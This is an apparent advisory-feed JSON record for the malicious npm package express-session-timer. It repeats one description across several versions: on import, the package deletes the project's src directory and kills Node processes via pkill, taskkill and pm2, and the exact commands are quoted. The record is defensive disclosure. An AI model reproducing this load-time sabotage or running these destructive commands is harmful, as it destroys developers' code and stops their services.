{"items":[{"id":"NVI-00010827","kind":"supply_chain_event","title":"Malicious code in express-session-timer (npm)","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-xf4h-cmpp-qfvf"],"plain_summary":"GitHub lists this malware advisory for express-session-timer, express-session-timer, express-session-timer, express-session-timer, express-session-timer. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-1e44c7f8852ca8756b60297ad021f1d8"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-1e44c7f8852ca8756b60297ad021f1d8","url":"https://github.com/advisories/GHSA-xf4h-cmpp-qfvf","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-xf4h-cmpp-qfvf","publisher":"GitHub Advisory Database","observed_at":"2026-10-31T23:13:53.199Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-1e44c7f8852ca8756b60297ad021f1d8"],"technology":"express-session-timer","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (325e241839ca2d0861d19807df248bf7b06922533bccb441bbee521471f5d73f)\nexpress-session-timer@1.0.1 schedules an unconditional destructive routine at module load time. Approximately 18 seconds after `require('express-session-timer')`, the package recursively removes `/src` via `fs.rm(path.join(process.cwd(),'src'), {recursive:true, force:true})` and terminates Node processes with `pkill -f \"node.*${process.cwd()}\"` on Unix, `taskkill /IM node.exe /F` on Windows, and `npx pm2 delete all`. The behavior fires with no configuration, opt-in, or relationship to the package's advertised functionality — merely importing the module deletes the installer's source tree and stops their running server. The manifest also pins `express-timer: ^0.0.1-security`, npm's security-hold placeholder convention, indicating an unpinned resolution against a name previously held after takedown.\n\n---\n\nCredit: OpenSSF (source)","public_affected_ranges":["= 1.0.0"]},{"certainty":"source_listed","source_ids":["sr-1e44c7f8852ca8756b60297ad021f1d8"],"technology":"express-session-timer","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (325e241839ca2d0861d19807df248bf7b06922533bccb441bbee521471f5d73f)\nexpress-session-timer@1.0.1 schedules an unconditional destructive routine at module load time. Approximately 18 seconds after `require('express-session-timer')`, the package recursively removes `/src` via `fs.rm(path.join(process.cwd(),'src'), {recursive:true, force:true})` and terminates Node processes with `pkill -f \"node.*${process.cwd()}\"` on Unix, `taskkill /IM node.exe /F` on Windows, and `npx pm2 delete all`. The behavior fires with no configuration, opt-in, or relationship to the package's advertised functionality — merely importing the module deletes the installer's source tree and stops their running server. The manifest also pins `express-timer: ^0.0.1-security`, npm's security-hold placeholder convention, indicating an unpinned resolution against a name previously held after takedown.\n\n---\n\nCredit: OpenSSF (source)","public_affected_ranges":["= 1.0.1"]},{"certainty":"source_listed","source_ids":["sr-1e44c7f8852ca8756b60297ad021f1d8"],"technology":"express-session-timer","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (325e241839ca2d0861d19807df248bf7b06922533bccb441bbee521471f5d73f)\nexpress-session-timer@1.0.1 schedules an unconditional destructive routine at module load time. Approximately 18 seconds after `require('express-session-timer')`, the package recursively removes `/src` via `fs.rm(path.join(process.cwd(),'src'), {recursive:true, force:true})` and terminates Node processes with `pkill -f \"node.*${process.cwd()}\"` on Unix, `taskkill /IM node.exe /F` on Windows, and `npx pm2 delete all`. The behavior fires with no configuration, opt-in, or relationship to the package's advertised functionality — merely importing the module deletes the installer's source tree and stops their running server. The manifest also pins `express-timer: ^0.0.1-security`, npm's security-hold placeholder convention, indicating an unpinned resolution against a name previously held after takedown.\n\n---\n\nCredit: OpenSSF (source)","public_affected_ranges":["= 1.0.13"]},{"certainty":"source_listed","source_ids":["sr-1e44c7f8852ca8756b60297ad021f1d8"],"technology":"express-session-timer","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (325e241839ca2d0861d19807df248bf7b06922533bccb441bbee521471f5d73f)\nexpress-session-timer@1.0.1 schedules an unconditional destructive routine at module load time. Approximately 18 seconds after `require('express-session-timer')`, the package recursively removes `/src` via `fs.rm(path.join(process.cwd(),'src'), {recursive:true, force:true})` and terminates Node processes with `pkill -f \"node.*${process.cwd()}\"` on Unix, `taskkill /IM node.exe /F` on Windows, and `npx pm2 delete all`. The behavior fires with no configuration, opt-in, or relationship to the package's advertised functionality — merely importing the module deletes the installer's source tree and stops their running server. The manifest also pins `express-timer: ^0.0.1-security`, npm's security-hold placeholder convention, indicating an unpinned resolution against a name previously held after takedown.\n\n---\n\nCredit: OpenSSF (source)","public_affected_ranges":["= 1.0.14"]},{"certainty":"source_listed","source_ids":["sr-1e44c7f8852ca8756b60297ad021f1d8"],"technology":"express-session-timer","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (325e241839ca2d0861d19807df248bf7b06922533bccb441bbee521471f5d73f)\nexpress-session-timer@1.0.1 schedules an unconditional destructive routine at module load time. Approximately 18 seconds after `require('express-session-timer')`, the package recursively removes `/src` via `fs.rm(path.join(process.cwd(),'src'), {recursive:true, force:true})` and terminates Node processes with `pkill -f \"node.*${process.cwd()}\"` on Unix, `taskkill /IM node.exe /F` on Windows, and `npx pm2 delete all`. The behavior fires with no configuration, opt-in, or relationship to the package's advertised functionality — merely importing the module deletes the installer's source tree and stops their running server. The manifest also pins `express-timer: ^0.0.1-security`, npm's security-hold placeholder convention, indicating an unpinned resolution against a name previously held after takedown.\n\n---\n\nCredit: OpenSSF (source)","public_affected_ranges":["= 1.0.16"]},{"certainty":"source_listed","source_ids":["sr-1e44c7f8852ca8756b60297ad021f1d8"],"technology":"express-session-timer","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (325e241839ca2d0861d19807df248bf7b06922533bccb441bbee521471f5d73f)\nexpress-session-timer@1.0.1 schedules an unconditional destructive routine at module load time. Approximately 18 seconds after `require('express-session-timer')`, the package recursively removes `/src` via `fs.rm(path.join(process.cwd(),'src'), {recursive:true, force:true})` and terminates Node processes with `pkill -f \"node.*${process.cwd()}\"` on Unix, `taskkill /IM node.exe /F` on Windows, and `npx pm2 delete all`. The behavior fires with no configuration, opt-in, or relationship to the package's advertised functionality — merely importing the module deletes the installer's source tree and stops their running server. The manifest also pins `express-timer: ^0.0.1-security`, npm's security-hold placeholder convention, indicating an unpinned resolution against a name previously held after takedown.\n\n---\n\nCredit: OpenSSF (source)","public_affected_ranges":["= 1.0.11"]},{"certainty":"source_listed","source_ids":["sr-1e44c7f8852ca8756b60297ad021f1d8"],"technology":"express-session-timer","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (325e241839ca2d0861d19807df248bf7b06922533bccb441bbee521471f5d73f)\nexpress-session-timer@1.0.1 schedules an unconditional destructive routine at module load time. Approximately 18 seconds after `require('express-session-timer')`, the package recursively removes `/src` via `fs.rm(path.join(process.cwd(),'src'), {recursive:true, force:true})` and terminates Node processes with `pkill -f \"node.*${process.cwd()}\"` on Unix, `taskkill /IM node.exe /F` on Windows, and `npx pm2 delete all`. The behavior fires with no configuration, opt-in, or relationship to the package's advertised functionality — merely importing the module deletes the installer's source tree and stops their running server. The manifest also pins `express-timer: ^0.0.1-security`, npm's security-hold placeholder convention, indicating an unpinned resolution against a name previously held after takedown.\n\n---\n\nCredit: OpenSSF (source)","public_affected_ranges":["= 1.0.15"]}],"null_published_at":"2026-10-31T23:18:22.399Z","source_updated_at":"2026-09-30T06:31:44.000Z","source_disclosed_at":"2026-09-09T03:30:40.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T23:13:53.199Z"}],"next_cursor":null,"snapshot_revision":"42594"}